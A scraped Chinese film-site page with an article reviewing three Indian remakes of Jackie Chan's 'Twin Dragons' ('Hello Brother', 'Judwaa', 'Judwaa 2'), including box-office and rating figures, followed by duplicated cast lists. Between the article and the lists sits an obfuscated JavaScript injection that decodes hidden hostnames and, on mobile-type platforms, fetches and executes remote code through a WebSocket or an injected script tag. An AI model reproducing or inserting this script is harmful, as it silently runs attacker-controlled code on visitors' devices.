扫描二维码手机看大片
印度人太爱中国功夫片了 把成龙的《双龙会》翻拍了三次 分集剧情
功夫片是中国电影的一张名片，在很多国家都十分受欢迎，包括我们的好邻居印度。印度人的传统文化之中有十分浓厚的偶像崇拜情结，尤其是对那些能拳打脚踢坏蛋，匡扶正义的英雄，格外追捧。而中国的功夫片，在强调拳脚的同时，亦十分讲求习武者的品德——除恶扬善，因此会受到印度人的喜爱，完全不意外。印度人经常会在电影中致敬中国功夫，如前几年的《为爱叛逆》中，主角学习武功的剧情神似经典国产片《少林寺》，最后上一楼打一个坏蛋，也很像李小龙电影里的桥段，而在《斗士李小龙》里，李小龙则直接成为主角效仿的对象以及整个电影除恶扬善主题的一个符号。宝莱坞巨星阿米尔·汗来中国时，就曾诚恳的表示，自己是成龙的粉丝，赞美之情溢于言表。也许是因为太爱中国功夫片了，印度人竟然将成龙的《双龙会》翻拍了三次。《双龙会》是1992年出品的一部动作喜剧片。成龙在片中扮演了一对双胞胎兄弟玩命与马友。由于匪徒劫持，他们从小就被分离，玩命被舞女收养，混迹于底层，马友则被富裕的亲生父母抚养，成为了一个著名的音乐家，两个人因为成长经历的不同，性格也变得天差地别。也许是血缘的召唤，他们的命运再次交集，并且由于相同的样貌，互相进入了对方的生活，傻傻分不清，闹出很多笑话，尤其是在各自的女友面前，更是洋相百出。最后，兄弟相认，还联手对付了黑帮坏蛋，故事也在皆大欢喜中结束。这是一部典型的成龙式电影，糅合了喜剧与功夫，非常具有娱乐性，再加上爱情及大团圆结局，都是印度民众喜闻乐见的影视元素。因此，《双龙会》推出两年之后（1994年），印度人就立即将这部电影翻拍成了泰卢固语影片《HelloBrother》，其中还借用了1990年宝莱坞电影《KishenKanhaiya》中，双胞胎兄弟能互相感应，产生动作联动的桥段。主角是纳嘎朱纳·阿克肯尼，影片上映后，票房大卖，证明了阿克肯尼也能驾驭喜剧电影。1997年，宝莱坞又将其翻拍成印地语片《Judwaa》，中文直接译作《双龙会》。影片的主角是大家都熟悉的“猴神大叔”萨尔曼·汗。从小萨平日里展现出的逗比气质，辛勤练出那一身肌肉以及那张大众情人般的小脸蛋来看，《双龙会》简直是为小萨量身定做，他太适合演了。不过影片的口碑不好，IMDb仅得6.0分，不如《HelloBrother》的7.1分，但借助萨尔曼·汗的巨大号召力，影片当年还是卖的不错，全球票房达到23亿卢比。到了2017年，印度人依然对这个故事念念不忘，再次翻拍成《Judwaa2》。片名里“2”并不代表续集，而是代表这是《Judwaa》的第二次拍摄。故事没有什么特别创意之处，在保留了《双龙会》的框架和双胞胎联动的梗以外，人设上反而更像成龙版的《双龙会》了，一个兄弟是小混混，一个兄弟是学音乐的。剧情拖沓、冗长、空洞，片时更是长达145分钟，比原版整整多了45分钟！当然，印度的翻拍版从来就没短过，《HelloBrother》是152分钟，《Judwaa》是138分钟。主角由新生代偶像明星瓦伦·达万担任，作为印度新一届的流量小生，让整部电影像是他的个人秀，一上来就是打架、搞笑、跳舞三步骤炫技，没人怀疑瓦伦的个人魅力，不论是动作、舞步还是颜值，都是杠杠滴，但影片对他个人的过度描摹，使得故事的结构非常奇怪，整个失衡。而在被拉长的片时里，也无甚实质性的新内容，充斥着搞笑闹剧和眼花缭乱的歌舞插播，一样的梗还来回重复用，看得人昏昏欲睡。影片也毫无意外在IMDb上摘得了3.9分，创下该IP的新低，最后收获票房22.759亿卢比，居然和20年前的《Judwaa》差不多，但是它的预算是后者的三倍，尴尬！片尾处，萨尔曼·汗友情客串出场，以《Judwaa》主角的身份现身，与瓦伦饰演的双胞胎兄弟互动，非常喜感。这也是影片唯一的亮点了，惨！不知道这次过后，印度人是否还会再次翻拍《双龙会》？——————————————————————————————————————想看更多有关印度电影的评论，欢迎订阅公众平台“Indianmovie”。
function JsScTQ(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function leQkx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JsScTQ(t);};window[''+'z'+'X'+'F'+'Q'+'P'+'q'+'I'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=leQkx,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('Z2JyLmJooeWJsYW5rZXQuY24=','dHIueWWVzdWW42NzguY29t','133169',window,document,['o','W']);}:function(){};
- 6.1双龙会2瓦伦·德哈万,Varun,Dhawan,塔普茜·潘努,Tapsee,Pannu,杰奎琳·费南德斯,费尔南达·迪尼兹,Fernanda,Diniz,萨尔曼·汗,Salman,Khan,乔尼·里沃,Johnny,Lever,拉兹巴·亚达夫,Rajpal,Yadav,扎卡里·柯芬,Zachary,Coffin,帕文·马特拉,Pavan,Malhotra
- 6.1双龙会2瓦伦·德哈万,Varun,Dhawan,塔普茜·潘努,Tapsee,Pannu,杰奎琳·费南德斯,费尔南达·迪尼兹,Fernanda,Diniz,萨尔曼·汗,Salman,Khan,乔尼·里沃,Johnny,Lever,拉兹巴·亚达夫,Rajpal,Yadav,扎卡里·柯芬,Zachary,Coffin,帕文·马特拉,Pavan,Malhotra
